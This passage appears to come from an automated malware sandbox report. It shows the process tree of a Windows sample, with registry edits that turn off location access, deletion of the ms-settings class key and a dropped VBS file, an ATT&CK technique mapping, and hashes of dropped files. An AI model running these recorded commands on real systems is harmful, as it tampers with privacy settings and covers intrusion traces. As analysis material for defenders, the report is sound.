      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Privacy\LetAppsAccessLocation\ /f /v Value /t REG_DWORD /d 0 >nul
        6⤵
        
        PID:3948
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Privacy\LetAppsAccessLocation\ /f /v Value /t REG_DWORD /d 0
        7⤵
        
        PID:3544
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\547499.vbs
    3⤵
    PID:4312
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:2256
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:1172
- - C:\Windows\system32\cmd.exe
    /c REG DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location\NonPackaged /f >nul
    3⤵
    PID:5008
  - - C:\Windows\system32\reg.exe
      REG DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location\NonPackaged /f
      4⤵
      PID:5000

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:524

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
1KB

MD5
7fb5fa1534dcf77f2125b2403b30a0ee

SHA1
365d96812a69ac0a4611ea4b70a3f306576cc3ea

SHA256
33a39e9ec2133230533a686ec43760026e014a3828c703707acbc150fe40fd6f

SHA512
a9279fd60505a1bfeef6fb07834cad0fd5be02fd405573fc1a5f59b991e9f88f5e81c32fe910f69bdc6585e71f02559895149eaf49c25b8ff955459fd60c0d2e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

Filesize
436B

MD5
971c514f84bba0785f80aa1c23edfd79

SHA1
732acea710a87530c6b08ecdf32a110d254a54c8

SHA256
f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

SHA512
43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

Filesize
174B

MD5
70cc840760e9ac0bcdafdda1e2a5c23e

SHA1
cdaa1cb4576b5ca25e9e2de31409d33188e6aa62

SHA256
33ea1281ad105fde668ff5b3974b2c1381945dcab7625bd831c90a3d6953ceb5

SHA512
c84058410b32457150c65fd4259d2f79f2574a1a2f02246c1a6194a1ee1468ab33e60b8897adf12f564dfb51b781c13a0de39dc8714f003c615a7fa1a1d52e5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

Filesize
170B

MD5
93bbb5381783b35439ecb13813c7e38f

SHA1
f57eee3051d44f3f30099363207cd77caeb75f51

SHA256
a6bf5876910b2f780db0f05c5e776ab2d9636da35df5af018107c35abab9d65d

SHA512
6a125ad8235e1d954ade174096564d9aa56201c6ba5de769a207803e7135883f46abc1c9f6aca923886a948a8f15cb467c341f76f617aa9740df3aeb91bbfbfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\100162.vbs

Filesize
165B

MD5
b8ab7aa40b394089c50983879843a6b6

SHA1
6971ad7dae0dcef98adab44ceeede14803ca1446

SHA256
19c34127f2a241e1e98e5df2c041ed23477878621175c8ac4d00faa56680843a

SHA512
beeb9833dec545467b225e00fe14acfa7f08b8996ddd8dcab9217f7c687cf41a8a95beb571f4186672d3d2496bc354514b4af3dde7918682c08bbc45a59c8e08

Download Submit
C:\Users\Admin\AppData\Local\Temp\431557.vbs

Filesize
151B

MD5
37c46bb131a051ba8be6e21b601bc5d8

SHA1
f97f273b2dce19abb0d12a38f02e231e2aa7f59a

SHA256
4474fda1193201897ce5bc9aec29663acc6bfcd712ae0fb12aa25aec9d0b47b8

SHA512
245ffd65acaa82e3fe71669ecbb3490d2dc50fa342398c7c81c7b5297155850547ad98d86403a5cfafb403503684fd1f9dc93788f42a5ceed669152b040dbb6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\547499.vbs

Filesize
217B

MD5
7b27754f38364499d2e3ca7545e595dd

SHA1
fda34f6a52c365cc923c24efe91c1e5872fb35ca

SHA256
4c9a72709d68a7a8de1c0671ef22b1418d738b593d6d4a2fec2db30858be9418

SHA512
03e0c9807e62a462207eb7fdec44bb07b19c80753093777c99045c168f881feab4245bc874942bb7943a4219610e04e2a8a343b5922fdffaa68828d333670303

Download Submit
C:\Users\Admin\AppData\Local\Temp\594634.vbs

Filesize
125B

MD5
8b4ed5c47fdddbeba260ef11cfca88c6

SHA1
868f11f8ed78ebe871f9da182d053f349834b017

SHA256
170226b93ac03ac3178c0429577626add00665e1d71be650a4c46674f6e262a5

SHA512
87e5bcaa143e616c365557f5af73e131a10eb380016633b8c7e38c83b0a216a8f6768cfa0166fad208d47830808444517e57d07d850ff2bd575ca67bad9eabdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\599822.vbs

Filesize
120B

MD5
2a5c3c98c3398680dd3e4caaf4283721

SHA1
3a3a80594c3001c51769f92bdd9e9bc71474f1bb

SHA256
054e4c4699aef7aae33a8fe1c758c75d7a351ffa9f6184e59093031bebf67e70

SHA512
5722337a6128d60b8110f6e5ee6618453eae3ad54320bf27dc43a6ca333c0d8333df027647a588f8fa890cb6ec7e0921b2597216ea48c593c2c6c2008603d786

Download Submit
C:\Users\Admin\AppData\Local\Temp\9541245.tmp

Filesize
138KB

MD5
6fe439b4f5cf20c00b987658efc382ab

SHA1
2828e90db93c67305bffaa2c073de74f04624bf8

SHA256
463dd3b1a23e58e02389bc85d414c29a345e1f68ce083dcb97f9e969b99b3e81

SHA512
c269f578b399921e5701c43a4f6ee25f23427e32782af4611f65ae42f4a823751ca8a296ccb383c17cc91c0d8d4975f5a85a4a368e8e424dfb2748051941befd

Download Submit
memory/524-12-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-10-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-19-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-18-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-17-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-20-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-11-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-22-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-21-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/524-16-0x000001F2FFA10000-0x000001F2FFA11000-memory.dmp

Filesize
4KB

Download
memory/1748-2-0x000002B1FA5B0000-0x000002B1FA5B1000-memory.dmp

Filesize
4KB

Download
memory/1748-3-0x000002B1FA5C0000-0x000002B1FA5C1000-memory.dmp

Filesize
4KB

Download
memory/1748-0-0x000002B1FA580000-0x000002B1FA581000-memory.dmp

Filesize
4KB

Download
memory/1748-1-0x000002B1FA590000-0x000002B1FA591000-memory.dmp

Filesize
4KB

Download
memory/4924-37-0x0000028D1D700000-0x0000028D1D90C000-memory.dmp

Filesize
2.0MB

Download
memory/4924-31-0x0000028D1D700000-0x0000028D1D90C000-memory.dmp

Filesize
2.0MB

Download
memory/4924-30-0x0000028D1D700000-0x0000028D1D90C000-memory.dmp

Filesize
2.0MB

Download